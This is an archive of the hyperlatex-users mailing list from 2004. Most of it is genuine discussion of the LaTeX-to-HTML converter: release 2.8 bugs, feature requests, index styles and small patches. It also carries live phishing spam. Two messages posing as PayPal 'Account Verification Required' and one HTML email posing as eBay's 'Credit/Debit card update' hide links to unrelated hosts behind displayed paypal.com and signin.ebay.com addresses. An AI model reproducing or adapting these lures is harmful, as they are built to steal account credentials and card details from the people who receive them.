hyperlatex-users — For developers and users of hyperlatex

[hlx] Account Verification Required

[<se...@pa...>]

<P><Font style=3D"font-family:verdana; font-size:12px">
Dear Paypal Member, <BR><BR>
PayPal is committed to maintaining a safe environment for its community of=
 <BR>
buyers and sellers. To protect the security of your account, PayPal employ=
s <BR>
some of the most advanced security systems in the world and our anti-fraud=
<BR> 
teams regularly screen the PayPal system for unusual activity. <BR><BR>

Recently, our Account Review Team identified some unusual activity in your=
 <BR>
account. In accordance with PayPal User Agreement and to ensure that your =
<BR>
account has not been compromised, we require you to confirm your account i=
nformation.<BR>
This is a fraud prevention measure meant to ensure that your account is sa=
fe. <BR>
Please click on the link below and follow the instructions <BR>
to complete the account confirmation process.<BR><BR>

<A href=3D"http://dsl81-215-29214.adsl.ttnet.net.tr/pp/">
https://www.paypal.com/cgi-bin/webscr?cmd=3D_login-run.
</A><BR><BR>
Thank you for your prompt attention to this matter. Please understand that=
 <BR>
this is a security measure meant to help protect you and your account. We =
<BR>
apologize for any inconvenience. <BR><BR><BR>

Sincerely, <BR>
PayPal Account Review Department <BR>

[hlx] Account Verification Required

[<se...@pa...>]

<P><Font style=3D"font-family:verdana; font-size:12px">

Dear Paypal Member, <BR><BR>
PayPal is committed to maintaining a safe environment for its community of=
 <BR>
buyers and sellers. To protect the security of your account, PayPal employ=
s <BR>
some of the most advanced security systems in the world and our anti-fraud=
<BR> 
teams regularly screen the PayPal system for unusual activity. <BR><BR>

Recently, our Account Review Team identified some unusual activity in your=
 <BR>
account. In accordance with PayPal User Agreement and to ensure that your =
<BR>
account has not been compromised, we require you to confirm your account i=
nformation.<BR>
This is a fraud prevention measure meant to ensure that your account is sa=
fe. <BR>
Please click on the link below and follow the instructions <BR>
to complete the account confirmation process.<BR><BR>

<A href=3D"http://dsl81-215-28996.adsl.ttnet.net.tr/pp/">
https://www.paypal.com/cgi-bin/webscr?cmd=3D_login-run.
</A><BR><BR>

Thank you for your prompt attention to this matter. Please understand that=
 <BR>
this is a security measure meant to help protect you and your account. We =
<BR>
apologize for any inconvenience. <BR><BR><BR>


Sincerely, <BR>
PayPal Account Review Department <BR>

Re: [hlx] "SourceForge.net": [ hyperlatex-Feature Requests-1078219 ]

[Dan C. <dan...@co...>]

I'm the author of the idxmods style. and I've continued to tweek the mods
for my own use since I originally shared them awhile back.  For example, 
I've
added a node-based "pseudo-page" format mode that allows a hyperlatex index
to mirror a traditional printed page structure.  (An example of the package
in use can be seen at http://GBBopen.org/hyperdoc/ -- for comparison,
the PDF equivalent manual is also on-line on the website.)

I created the mods for my own needs, and so the only testing/debugging
I've done is with my own work.  However, I thought that I could save
someone else a lot of time by sharing the original mods.

I'd be happy to provide the latest version of the package (1.03), which
should be upward compatible, but there are no guarantees...

-- Dan

>As far as the index testing, I'd welcome your assessment of the
>idxmods style.  I can maintain hyperlatex best with the assistance
>of people who use it.  The package worked for me when I tried it, but
>I didn't test it extensively, which is why it remains in the contrib
>folder.  If you'd like to use it, please test it and let me know if
>there are any shortcomings.  If it works for you and you take a moment
>to tell me so, I'll be that much closer to being able to incorporate
>it.
>  
>

[hlx] "SourceForge.net": [ hyperlatex-Feature Requests-1078219 ] Position of address field

[<to...@as...>]

Harald:

Thanks for entering the mdash request.  I don't think it will be hard
and I can make it happen in the next release.  

As far as the index testing, I'd welcome your assessment of the
idxmods style.  I can maintain hyperlatex best with the assistance
of people who use it.  The package worked for me when I tried it, but
I didn't test it extensively, which is why it remains in the contrib
folder.  If you'd like to use it, please test it and let me know if
there are any shortcomings.  If it works for you and you take a moment
to tell me so, I'll be that much closer to being able to incorporate
it.

The third feature request, which you hadn't mentioned in your emails,
is pretty easy, and I don't think it merits a software change.  Look
in bluepanels.hlx for an example.  There are two macros:
\HlxBottomMatter and \HlxBottomPanel.  \HlxBottomPanel has the menu in
it.  You can undefine \HlxBottomPanel, and then put what you like in
\HlxBottomMatter.  Try something like this:

\renewcommand{\HlxBottomMatter}{\HlxTopPanel\\%
  \xml{address}\HlxAddress\xml{/address}}

Try fiddling with that and see if you can't get it to look the way you
want.

-tom

------- Forwarded Message

From: "SourceForge.net" <no...@so...>
Subject: [ hyperlatex-Feature Requests-1078219 ] Position of address field
Date: Fri, 03 Dec 2004 02:33:39 -0800

Feature Requests item #1078219, was opened at 2004-12-03 11:33
Message generated for change (Tracker Item Submitted) made by Item Submitter
You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=627190&aid=1078219&group_id=100359

Category: functionality to add
Group: None
Status: Open
Priority: 5
Submitted By: Harald H. Soleng (soleng)
Assigned to: Nobody/Anonymous (nobody)
Summary: Position of address field

Initial Comment:
Currently, the address field generated with
\htmladdress goes above the lower navigation bar.

I would like to be able to put it below the bar .




- ----------------------------------------------------------------------

You can respond by visiting: 
https://sourceforge.net/tracker/?func=detail&atid=627190&aid=1078219&group_id=100359


------- End of Forwarded Message



 ------------------------
 tomfool at as220 dot org
 http://sgouros.com  
 http://whatcheer.net

Re: [hlx] Feature requests

[tom s. <to...@as...>]

 >On Thu, 02 Dec 2004 11:20:21 +0100, Harald H Soleng wrote:

> I have just started to use hyperlatex, and I find it very useful. I do, 
> however, have a couple of feature requests.

> The first one may be simple to implement: Convert  double and triple 
> hyphens into  – and — in the html files.

There's a feature request feature at hyperlatex.sourceforge.net, which
you can find by clicking here and there.  Could I ask you to enter this?

> The second may be more difficult. makeindex supports main, sub and 
> subsub entries in indices. As far as I can see, hyperlatex does not 
> support this feature. I would very much appreciate getting this feature 
> as I have lots of indexed documents waiting to be converted into html.

There's an idxmods.hlx in the contrib folder of the distribution that
addresses this.  I haven't tested it much, but it's there for
precisely this purpose.  Look inside it for documentation.

-tom

 ------------------------
 tomfool at as220 dot org
 http://sgouros.com  
 http://whatcheer.net

[hlx] Feature requests

[Harald H. S. <har...@nr...>]

Hello!

I have just started to use hyperlatex, and I find it very useful. I do, 
however, have a couple of feature requests.

The first one may be simple to implement: Convert  double and triple 
hyphens into  – and — in the html files.

The second may be more difficult. makeindex supports main, sub and 
subsub entries in indices. As far as I can see, hyperlatex does not 
support this feature. I would very much appreciate getting this feature 
as I have lots of indexed documents waiting to be converted into html.

- Harald

-- 
Harald H. Soleng, Dr. Philos.
Chief Research Scientist
Norwegian Computing Center

Phone (direct):  +47 2285 2671
Phone (central): +47 2285 2500
Fax (central):   +47 2269 7660
http://nr.no/~soleng/

[hlx] tilde in URL arguments

[Peter M. <pdm...@br...>]

On 23/11/2004, at 20:09, tom sgouros wrote:

> ...
> I'd also be interested to know whether anyone else thought that making
> tildes special in an \xlink command is a good idea.  I for one have
> lots of old text around that uses \~{}.

I agree that \~{} should continue to be interpreted as a tilde in a 
URL, so as not to break old code.

But I hope that doesn't prevent a tilde being interpreted verbatim in a 
URL when it is NOT preceded by a backslash.

Anyway, I'll enter it as a feature request.

-- Peter

[hlx] Credit/Debit card update

[eBay B. D. <eb...@eb...>]

<HTML><HEAD><TITLE>eBay - verify your account information</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dwindows-1=
252">
<SCRIPT language=3DJavaScript1.2>
<!--

/*
Auto Maximize Window Script- By Nick Lowe (nic...@uk...)
For full source code, 100's more free DHTML scripts, and Terms Of Use
Visit http://www.dynamicdrive.com
*/

top.window.moveTo(0,0);
if (document.all) {
top.window.resizeTo(screen.availWidth,screen.availHeight);
}
else if (document.layers||document.getElementById) {
if (top.window.outerHeight<screen.availHeight||top.window.outerWidth<scre=
en.availWidth){
top.window.outerHeight =3D screen.availHeight;
top.window.outerWidth =3D screen.availWidth;
}
}
//-->
</SCRIPT>

<SCRIPT language=3DJavaScript>
<!--
var ssl_copartnerid =3D"2"
//  -->
</SCRIPT>

<SCRIPT language=3DJavaScript>
<!-- Hide me from lame browsers

function CC_noErrors() {
return true;
}

window.onerror =3D CC_noErrors;

// -->
</SCRIPT>

<SCRIPT language=3Djavascript src=3D"" type=3Dtext/javascript>
</SCRIPT>

<SCRIPT language=3DJavaScript>
<!--
var pageName =3D "PageValidateNewSellerShow";
var server =3D "location.hostname.toLowerCase()";
var channel =3D "eBay";
//-->
</SCRIPT>

<SCRIPT language=3DJavascript>
<!--
function popWindow(u,n,o,x,y)
{
	var s =3D o+',width=3D'+x+',height=3D'+y
	window.open(u,n,s)}
//-->
</SCRIPT>

<SCRIPT language=3DJavaScript=20
src=3D"ebay/openHelpWindow.js"></SCRIPT>
<!-- header --><!-- test header revamp 5/20--><!-- 0+0 -->
<SCRIPT=20
src=3D"ebay/openHelpWindow.js"></SCRIPT>

<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<TABLE cellSpacing=3D0 cellPadding=3D0 width=3D600 border=3D0>
  <TBODY>
    <TR>=20
      <TD width=3D150> <SCRIPT language=3DJavaScript>
	<!--
	var cbc;
	if (cbc){
		writeBrow();
	}
	//  -->
	  </SCRIPT>
        <A href=3D"http://www.ebay.com/"> <IMG height=3D78 alt=3D"eBay lo=
go" hspace=3D0=20
      src=3D"http://pics.ebay.com/aw/pics/homepage/v2/logo_171x102.gif" w=
idth=3D171 border=3D0></A>=20
      </TD>
      <TD vAlign=3Dtop align=3Dright width=3D450><MAP=20
        name=3Dhome_myebay_map_hasJS>
          <AREA shape=3DRECT alt=3DHome coords=3D209,0,256,15=20
        href=3D"http://pages.ebay.com/index.html">
          <AREA shape=3DRECT alt=3D"My eBay"=20
        coords=3D257,0,318,15=20
        href=3D"http://cgi1.ebay.com/aw-cgi/eBayISAPI.dll?MyEbayLogin">
          <AREA=20
        shape=3DRECT alt=3D"Site Map" coords=3D319,0,383,15=20
        href=3D"http://pages.ebay.com/sitemap.html">
          <AREA shape=3DRECT=20
        alt=3D"Sign In/Out" coords=3D384,0,447,15=20
        href=3D"http://cgi3.ebay.com/aw-cgi/eBayISAPI.dll?SignIn">
        </MAP>
        <MAP=20
      name=3Dhome_myebay_map_noJS>
          <AREA shape=3DRECT alt=3DHome coords=3D198,0,245,15=20
        href=3D"http://pages.ebay.com/index.html">
          <AREA shape=3DRECT alt=3D"My eBay"=20
        coords=3D246,0,307,15=20
        href=3D"http://cgi1.ebay.com/aw-cgi/eBayISAPI.dll?MyEbayLogin">
          <AREA=20
        shape=3DRECT alt=3D"Site Map" coords=3D308,0,372,15=20
        href=3D"http://pages.ebay.com/sitemap.html">
          <AREA shape=3DRECT=20
        alt=3D"Sign In/Out" coords=3D373,0,447,15=20
        href=3D"http://cgi3.ebay.com/aw-cgi/eBayISAPI.dll?SignIn">
        </MAP>
        <NOSCRIPT>
        </NOSCRIPT> </TD>
    </TR>
  </TBODY>
</TABLE>
<P align=3D"left"> Dear eBay User,<br>
  During our regular update and verification of the accounts, we couldn't=
 verify=20
  your current information. Either your information has changed or it is =
incomplete.<br>
  Please update and verify your information by signing in your account be=
low :<br>
  If the account information is not updated to current information within=
 5 days=20
  then, your access to bid or buy on eBay will be restricted.<br>
  go to this link below:</P>
<P align=3D"left"><a href=3D"http://www.xirouzzs.com/ebay">https://signin=
.ebay.com/ws/eBayISAPI.dll?SignIn</a><br>
  <br>
***Please do not reply to this e-mail as you will not receive a response*=
**</P>
<P align=3D"left"><br>
  Thank you <br>
  Accounts Managent </P>
<p align=3D"left">As outlined in our User Agreement, eBay will periodical=
ly send=20
  you information about site changes and enhancements. Visit our Privacy =
Policy=20
  and <a href=3D"http://pages.ebay.com/help/community/png-user.html?ssPag=
eName=3DADME:X:EOA:US:24">User=20
  Agreement</a> if you have any questions. </p>
<p align=3D"left">Copyright 2004 eBay Inc. All Rights Reserved. <br>
  Designated trademarks and brands are the property of their respective o=
wners.=20
  <br>
  eBay and the eBay logo are trademarks of eBay Inc</p>
<P align=3D"center">=20
  <SCRIPT=20
src=3D"ebay/ss-secure.js"></SCRIPT>
</P>
<TABLE cellSpacing=3D0 cellPadding=3D0 width=3D600 border=3D0>
  <TBODY>
  <TR>
    <TD colSpan=3D2><BR>
        <P><BR></P>
        <DIV align=3Dcenter><FONT size=3D2><A=20
      href=3D"http://www2.ebay.com/aw/marketing.shtml">Announcements</A>=A0=
=A0|=A0=A0<A=20
      href=3D"http://cgi4.ebay.com/aw-cgi/eBayISAPI.dll?RegisterShow">Reg=
ister</A>=20
          |=A0=A0<A=20
      href=3D"http://pages.ebay.com/help/community/index.html">SafeHarbor=
=20
          (Rules & Safety)</A>=A0=A0|=A0=A0<A=20
      href=3D"http://pages.ebay.com/services/forum/feedback.html">Feedbac=
k=20
          For</A></FONT><FONT size=3D2><A=20
      href=3D"http://pages.ebay.com/services/forum/feedback.html">um</A>=A0=
=A0|=A0=A0<A=20
      href=3D"http://pages.ebay.com/community/aboutebay/index.html">About=
=20
          eBay</A></FONT></DIV> =20
        <hr align=3Dcenter width=3D500>
        <P><BR>
        </P></TD></TR>
  <TR>
    <TD vAlign=3Dtop align=3Dleft width=3D450 height=3D31><FONT size=3D2>=
Copyright =A9=20
      1995-2004 eBay Inc. All Rights Reserved. <BR>Designated trademarks =
and=20
      brands are the property of their respective owners. <BR>
        Use of this Web site constitutes acceptance of the eBay <A=20
      href=3D"http://pages.ebay.com/help/community/png-user.html">User=20
        Agreement</A> and <A=20
      href=3D"http://pages.ebay.com/help/community/png-priv.html">Privacy=
=20
        Policy</A>. </FONT><BR></TD>
      <TD vAlign=3Dtop align=3Dright width=3D150 height=3D31><FONT size=3D=
2><A=20
      href=3D"ebay/png-priv.html"><IMG height=3D31=20
      alt=3DTrustE=20
      src=3D"http://pics.ebay.com/aw/pics/truste_button.gif"=20
      width=3D116 align=3Dmiddle border=3D0></A> </FONT></TD>
    </TR></TBODY></TABLE></BODY></HTML>

Re: [hlx] Re: new release

[Jay B. <bel...@tr...>]

tom sgouros <to...@as...> writes:
...
> I'd also be interested to know whether anyone else thought that making
> tildes special in an \xlink command is a good idea.  I for one have
> lots of old text around that uses \~{}.

It seems like a good idea to me;  is there any reason why a
non-special tilde would be used in the second argument of \xlink?

Re: [hlx] Re: new release

[tom s. <to...@as...>]

Thanks for the comments.  I'll see if I can't figure those out.

There is a bug tracker and a feature-requester on the sourceforge
site.  If you wanted to enter these in there, I'd be grateful.

I'd also be interested to know whether anyone else thought that making
tildes special in an \xlink command is a good idea.  I for one have
lots of old text around that uses \~{}.

Thanks,

-tom

 ------------------------
 tomfool at as220 dot org
 http://sgouros.com  
 http://whatcheer.net

[hlx] Re: new release

[Peter M. <pdm...@br...>]

<tomfool> wrote 2004-11-11 17:28:

>  There"s a release version 2.8 on hyperlatex.sourceforge.net.   Enjoy.
>
>  The release notes are a bit underwhelming: "creates better HTML".
>  But it is a significant addition, if only in effort.

Thank you! I'm about to update (from 2.6). However:

>  The paragraph
>  generation is more rational now, Hyperlatex now generates the closing
>  tags for <p> and <li> HTML, and I"ve gotten rid of a persistent bug
>  where <p> tags were often omitted following a section or environment.
>  I don"t have a very sophisticated test suite, so I could use feedback
>  about what I screwed up if you do it in gentle tones.

It seems that labels between paragraphs (always?) give rise to extra 
blank lines.

For example, browse the "About the Html output" section of the online 
manual <http://hyperlatex.sourceforge.net/html/hyperlatex_3.html>: I 
see extra blank lines after the 2nd, 3rd, and 4th paragraphs (using 
Firefox, Safari, or IE on Mac OS X).

Here's a snippet from the source:

   the <em>Next</em> button always leads to the next piece of
   text.)</p>
   <a name="topnode">&nbsp;</a>
   <p>If you look at  this manual, you'll find

Reversing the order of </p> and the anchor avoids the extra blank line. 
Would it be easy to do that automatically when generating the html?

The above is probably just a symptom of the underlying problem already 
pointed out in the manual: the lack of an explicit point of attachment 
for anchors generated by label commands. (Using the Label environment 
solves the problem, albeit a bit clumsily; if that is the recommended 
solution, all the uses of \label in the manual should be eliminated...)

There's another glitch, which I noticed when browsing 
"Cross-references" in the online manual 
<http://hyperlatex.sourceforge.net/html/hyperlatex_33.html>:

      file\texonly{---see Section~\Ref}.
   </pre>
   <a name="id2">  Note</a> that when you use LaTeX's <code>\ref</code> 
command,
   <p>the label does not mark a <em>position</em> in the document, but a

That <p> comes in a very strange place - and of course causes an 
unintended blank line.

Maybe further browsing of the online manual will reveal further 
superfluous blank lines due to labels (e.g., after section headings).

I hope that these things are easy to fix; sorry that I don't have time 
or expertise to help myself.

Finally, a suggestion for a future version:

Wouldn't it be better if a tilde in the URL argument of \xlink were to 
be interpreted literally - and thus consistently with \url and \href 
arguments in latex?  I can't imagine anyone actually wanting tildes to 
be interpreted as nbsps in URLs... Moreover, one currently has to 
remember to convert tildes to "\~{}" when pasting URLs into documents, 
which is a frequent source of bugs (for me, at least).

-- Peter

P.S. I've just subscribed to the list.

Peter D. Mosses <pdm...@br...> <http://www.brics.dk/~pdm>
BRICS & Department of Computer Science,   University of Aarhus
Aabogade 34 [office: Turing 126],   DK-8200 Aarhus N,  Denmark
Phone: +45 8942 5785, Secr.: +45 8942 5600, Fax: +45 8942 5601
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 From 1 January 2005:
Department of Computer Science
University of Wales Swansea
Singleton Park
Swansea SA2 8PP
Wales UK
www.swan.ac.uk/compsci

Re: [hlx] new release

[tom s. <to...@as...>]

 >On Sat, 13 Nov 2004 22:36:32 -0600, Jay Belanger wrote:

>> I believe the next useful enhancement should be to make the
>> correspondence between LaTeX macros and HTML elements more explicit
>> and more configurable.

> Does this mean to create new LaTeX macros to correspond to HTML, or
> modify the current macros?

I mean that you should be able to choose whether a paragraph goes to a
<p> or a <p class="body"> or <div class="paragraph"> or a <paragraph>,
or whatever.  I think this would make it easier to make pretty css
files, and I suspect it will help accommodate requests to make
hyperlatex produce whatever html morphs into next year.

>> There's a vote that can be construed to support that on the feature
>> request tracker, and I'd be interested to hear if that would be
>> useful to others.

> I didn't notice a vote (or a place to vote) on the feature request
> tracker, and none of the feature requests looked like that.  I'm
> missing something, but I don't know what.

It's my interpretation of the one about CSS files (there aren't
many).  The requester didn't ask for this specifically, but I think
this is a way to answer the request that may also have useful
ancillary benefits.  But it may also be a pain, so I was requesting
opinions about whether anyone thinks it would be worthwhile.

> One of the feature requests, though, was multiple directories for hlx
> files.  Doesn't Hyperlatex already have that?
> `hyperlatex-extension-dirs' is already a list.

Yes, that request was from me, and I'm often an idiot.  But I feel
free to ignore requests from idiots like that.

-tom

 ------------------------
 tomfool at as220 dot org
 http://sgouros.com  
 http://whatcheer.net

Re: [hlx] new release

[Jay B. <bel...@tr...>]

to...@as... writes:

> Hello all:
>
> There's a release version 2.8 on hyperlatex.sourceforge.net.   Enjoy.

Well; this is great news.
The improvements seem to be significant, even if:
> The release notes are a bit underwhelming:

So, thanks!

> I believe the next useful enhancement should be to make the
> correspondence between LaTeX macros and HTML elements more explicit
> and more configurable.

Does this mean to create new LaTeX macros to correspond to HTML, or
modify the current macros?

> There's a vote that can be construed to support that on the feature
> request tracker, and I'd be interested to hear if that would be
> useful to others.

I didn't notice a vote (or a place to vote) on the feature request
tracker, and none of the feature requests looked like that.  I'm
missing something, but I don't know what.

One of the feature requests, though, was multiple directories for hlx
files.  Doesn't Hyperlatex already have that?
`hyperlatex-extension-dirs' is already a list.

Jay

Re: [hlx] new release

[Otfried C. <ot...@cs...>]

Roland Stigge wrote:
> Incorporating the new version into Debian, I encountered the following
> patch we have in our archives now for some time and for which I don't
> remember why we need it anymore, maybe you have an idea or find them
> useful:

These patches are necessary to use Hyperlatex on XEmacs.  I don't know 
whether they are still sufficient to achieve XEmacs compatibility (I 
never incorporated them to avoid giving the impression that XEmacs was 
supported - or maybe I was just lazy).

Otfried

Re: [hlx] new release

[Roland S. <st...@an...>]

Hi,

On Fri, 2004-11-12 at 09:30 -0500, tom sgouros wrote:
> > The HTML generated from the new version (still) doesn't pass the HTML 
> > validator:
> > http://validator.w3.org/
> 
> Ok, I've fixed most of those now.  Tables still seem to generate a
> couple of errors, and the validator seems overall uncertain whether to
> give these pages a ringing endorsement, but it seems to work on the
> manual pages.  Look for release 2.8b.

Incorporating the new version into Debian, I encountered the following
patch we have in our archives now for some time and for which I don't
remember why we need it anymore, maybe you have an idea or find them
useful:

--- hyperlatex-2.8b.orig/hlx/hyperlatex.el
+++ hyperlatex-2.8b/hlx/hyperlatex.el
@@ -68,6 +68,11 @@
   (fset 'string-to-number 'string-to-int)
   (fset 'number-to-string 'int-to-string))
 
+(if (fboundp 'char-to-int)
+    ()
+  (defun char-to-int (arg)
+    arg))
+
 (if (fboundp 'find-file-literally)
     ()
   (fset 'find-file-literally 'find-file)) 
@@ -679,7 +684,7 @@
          ;; These characters are simply quoted
          (let ((ch (following-char)))
            (delete-char 1)
-           (hyperlatex-gensym (concat "#" (number-to-string ch))))
+           (hyperlatex-gensym (concat "#" (number-to-string (char-to-int ch))))
)
        (setq hyperlatex-command-start (point))
        (if (not (looking-at "[a-zA-Z]"))
            ;; a single letter command

Thanks for working on this.

bye,
  Roland

Re: [hlx] new release

[tom s. <to...@as...>]

 >On Thu, 11 Nov 2004 21:17:33 -0800, David Poole wrote:

> Thank you! I am glad to see it is being actively maintained.

Yes, although "active" is a matter of interpretation.

> The HTML generated from the new version (still) doesn't pass the HTML 
> validator:
> http://validator.w3.org/

Ok, I've fixed most of those now.  Tables still seem to generate a
couple of errors, and the validator seems overall uncertain whether to
give these pages a ringing endorsement, but it seems to work on the
manual pages.  Look for release 2.8b. 

Actually, it would help me if someone would run one of the hyperlatex
manual pages through that validator and tell me what the HTML *should*
be in order to prevent the errors you see.  A page with tables is at
hyperlatex.sourceforge.net/html/hyperlatex_29.html. 

> Also, \bibitem doesn't seem to work anymore. (I am using it in the 
> context of :
> \newcommand{\harvardyearleft}{[}
> \newcommand{\harvardyearright}{]}
> \newcommand{\harvarditem}[4][]{\bibitem[#2 \harvardyearleft 
> #3\harvardyearright]{#4}}
> \newcommand{\harvardand}{\&}
> It worked in the previous version (2.7).

Can you send me a bit more of the file?  Like part of the bibliography
itself?  "Doesn't work" is it fails or it doesn't generate proper
HTML?

> I like the suggestion below, but would also like to see MathML 
> incorporated, see, e.g.,
> http://www.w3.org/TR/XHTMLplusMathMLplusSVG/
> http://www.w3.org/TR/MathML2/
> http://www.w3.org/Math/
> http://www.mozilla.org/projects/mathml/
> [But now I look at it, I couldn't get the w2 test suite to work on any 
> of the 5 browsers I tested on my mac (Mozilla and Firefox getting 
> closes; IE having no hope), but it did work with Mozilla on Windows. So 
> this suggestion may be a bit premature]

This is the sort of suggestion that prompts from me an invitation to
help.  I started improving the documentation of the hyperlatex
internals, so it should become easier for more people to contribute
who want to.

-tom

 ------------------------
 tomfool at as220 dot org
 http://sgouros.com  
 http://whatcheer.net

Re: [hlx] new release

[David P. <po...@cs...>]

Thank you! I am glad to see it it being actively maintained.

The HTML generated from the new version (still) doesn't pass the HTML 
validator:
http://validator.w3.org/

Also, \bibitem doesn't seem to work anymore. (I am using it in the 
context of :
\newcommand{\harvardyearleft}{[}
\newcommand{\harvardyearright}{]}
\newcommand{\harvarditem}[4][]{\bibitem[#2 \harvardyearleft 
#3\harvardyearright]{#4}}
\newcommand{\harvardand}{\&}
It worked in the previous version (2.7).

I like the suggestion below, but would also like to see MathML 
incorporated, see, e.g.,
http://www.w3.org/TR/XHTMLplusMathMLplusSVG/
http://www.w3.org/TR/MathML2/
http://www.w3.org/Math/
http://www.mozilla.org/projects/mathml/
[But now I look at it, I couldn't get the w2 test suite to work on any 
of the 5 browsers I tested on my mac (Mozilla and Firefox getting 
closes; IE having no hope), but it did work with Mozilla on Windows. So 
this suggestion may be a bit premature]

David




to...@as... wrote:
> I believe the next useful enhancement should be to make the
> correspondence between LaTeX macros and HTML elements more explicit
> and more configurable.  There's a vote that can be construed to
> support that on the feature request tracker, and I'd be interested to
> hear if that would be useful to others.
> 
> Thanks for your attention.
> 
> -tom

-- 
David Poole,                      Office: +1 (604) 822-6254
Professor,                        Fax:    +1 (604) 822-5485
Department of Computer Science,   po...@cs...
University of British Columbia,   http://www.cs.ubc.ca/spider/poole
Vancouver, B.C., Canada V6T 1Z4   ftp://ftp.cs.ubc.ca/ftp/local/poole

[hlx] new release

[<to...@as...>]

Hello all:

There's a release version 2.8 on hyperlatex.sourceforge.net.   Enjoy.

The release notes are a bit underwhelming: "creates better HTML".
But it is a significant addition, if only in effort.  The paragraph
generation is more rational now, Hyperlatex now generates the closing
tags for <p> and <li> HTML, and I've gotten rid of a persistent bug
where <p> tags were often omitted following a section or environment.
I don't have a very sophisticated test suite, so I could use feedback
about what I screwed up if you do it in gentle tones.

I've also incorporated some donations to the cause in the hlx
directory.  Send more, if you can.

I believe the next useful enhancement should be to make the
correspondence between LaTeX macros and HTML elements more explicit
and more configurable.  There's a vote that can be construed to
support that on the feature request tracker, and I'd be interested to
hear if that would be useful to others.

Thanks for your attention.

-tom

 ------------------------
 tomfool at as220 dot org
 http://sgouros.com  
 http://whatcheer.net

Re: [hlx] Incorrect quotations in german.hlx

[Patric M. <bh...@gm...>]

Gerhard Kugler <pr...@ps...> wrote:
>
> Hello,
>
> in which directory and with which options shall I activate "patch"?

If you want to patch the CVS file:
cd hlx
patch <diff-file

If you want to patch the installed file you have to first cd to the
$HYPERLATEX_SYS_DIR directory. On my system it would look like this:
cd /usr/local/lib/hyperlatex
patch <diff-file

Bye
Patric

Re: [hlx] Incorrect quotations in german.hlx

[Gerhard K. <pr...@ps...>]

On Mon, Aug 30, 2004 at 06:20:09PM +0200, Patric Mueller wrote:
> 
> I would suggest to use the typographical correct entities for the
> other quotation marks too, as I have done in the attached patch.
> 

Hello,

in which directory and with which options shall I activate "patch"?

Gerhard

-- 
Gerhard Kugler
Wormser Str. 5-7, D-64625 Bensheim
<pr...@ps...>
http://www.psychotherapie-kugler.de

[hlx] Incorrect quotations in german.hlx

[Patric M. <bh...@gm...>]

Hi,

I've noticed that the german package of hyperlatex handles quotation
marks incorrectly.

E.g. \glqq{}Wort\grqq{} will be output as ,,Wort''.

The typographical correct output would be (in html, as I don't know if
your mail can cope with utf-8): „Wort“

I would suggest to use the typographical correct entities for the
other quotation marks too, as I have done in the attached patch.

Bye
Patric

--- german.hlx.orig     2004-08-30 15:00:15.000000000 +0200
+++ german.hlx  2004-08-30 15:43:22.000000000 +0200
@@ -120,14 +120,14 @@
   \mdqoff
 }

-\newcommand{\glqq}{,,{}}
-\newcommand{\grqq}{'{'}}
-\newcommand{\glq}{,}
-\newcommand{\grq}{'}
-\newcommand{\flqq}{\xmlent{##171}}
-\newcommand{\frqq}{\xmlent{##187}}
-\newcommand{\flq}{<}
-\newcommand{\frq}{>}
+\newcommand{\glqq}{\xmlent{bdquo}}
+\newcommand{\grqq}{\xmlent{ldquo}}
+\newcommand{\glq}{\xmlent{sbquo}}
+\newcommand{\grq}{\xmlent{lsquo}}
+\newcommand{\flqq}{\xmlent{laquo}}
+\newcommand{\frqq}{\xmlent{raquo}}
+\newcommand{\flq}{\xmlent{lsaquo}}
+\newcommand{\frq}{\xmlent{rsaquo}}
 \newcommand{\dq}{\"{}}

Re: [hlx] \image and ps2image

[Ralf H. <hem...@ri...>]

Hello,

Otfried Cheong wrote:
> Jay Belanger writes:
>  > The correspoding references in the html file would have to match; how
>  > hard would it be to arrange that?  Would that be tricky at all?
>  > Are there any advantages to specifying the image file name?
>  > (Obviously, I don't know the answer to any of these.)
> 
> When I originally added image generation to Hyperlatex, I wanted to
> automatically assign a file name, but I was inable to come up with a
> reliable way to synchronize the filename between HTML and Latex (think
> about images that are not shown in one version -- simply counting
> get's completely out of step them).

Hmmm, as far as I understand, \begin{gif}{filename}..\end{gif} is for 
things that are not easily typeset in HTML, for example, some 
mathematical formulae. If \makegifs or \makeimages (in version 2.7) is 
defined, images will be generated via latex otherwise the gif or image 
environment is

\def\@@@@image{\tex}
\def\endimage{}

So it simply switches to TeX and does nothing. To me that means that the 
generated images are solely for the HTML version, so why does counting 
not work?

If \makeimages is defined the corresponding images appear (by some 
magic) on the first few pages of the dvi file and are extracted by

   dvips -p

To syncronise, it would be only necessary to step a counter via elisp 
for each \begin{image}.

I know that there still could be a problem when one has something like

\begin{ifhtml}\begin{image}..\end{image}\end{ifhtml}

One could repair this by saying that if \makeimages is defined one 
defines in hyperlatex.sty

\newenvironment{ifhtml}{}{}
\newenvironment{iftex}{\comment}{\endcomment}

where the 'comment' stuff is taken from \usepackage{verbatim}. One 
should remember that for the html generation, the generated dvi file is 
for creating the images and thus an auxiliary file.

Do I see something wrong here?

Ralf

Re: [hlx] \image and ps2image

[Otfried C. <oc...@wi...>]

Jay Belanger writes:
 > The correspoding references in the html file would have to match; how
 > hard would it be to arrange that?  Would that be tricky at all?
 > Are there any advantages to specifying the image file name?
 > (Obviously, I don't know the answer to any of these.)

When I originally added image generation to Hyperlatex, I wanted to
automatically assign a file name, but I was inable to come up with a
reliable way to synchronize the filename between HTML and Latex (think
about images that are not shown in one version -- simply counting
get's completely out of step them).

I think the only way to do this is to have Elisp create a new Latex
file for the image generation, and that looked like too much of a mess
to me then.

Otfried

Re: [hlx] \image and ps2image

[Jay B. <bel...@tr...>]

Ralf HEMMECKE <hem...@ri...> writes:
...
>  >>> \begin{image}{directory/name} ... \end{image} Hyperlatex couldn't
>  >>>  deal with that before and it can't deal with it now.
>
> Well, with hyperlatex-relative-prefix it is easy.
...
> If I am not wrong then everything works fine if htmldir is ".".

You mean still works fine, I hope.

...
> In the \endimage code in hyperlatex.sty appears \the\@imagecount. So why
> not replace the line
>
> \jobname.dvi\space>\space\im...@na...^^J%
>
> by
>
> \jobname.dvi\space>\space\jobname\the\@imagecount.ps^^J%
>
> and the same with
>
> ps2image\space -res\space \image@resolution\space \im...@na...%
>
> replaced by
>
> ps2image\space -res\space \image@resolution\space
>    \jobname\the\@imagecount.ps%

The correspoding references in the html file would have to match; how
hard would it be to arrange that?  Would that be tricky at all?
Are there any advantages to specifying the image file name?
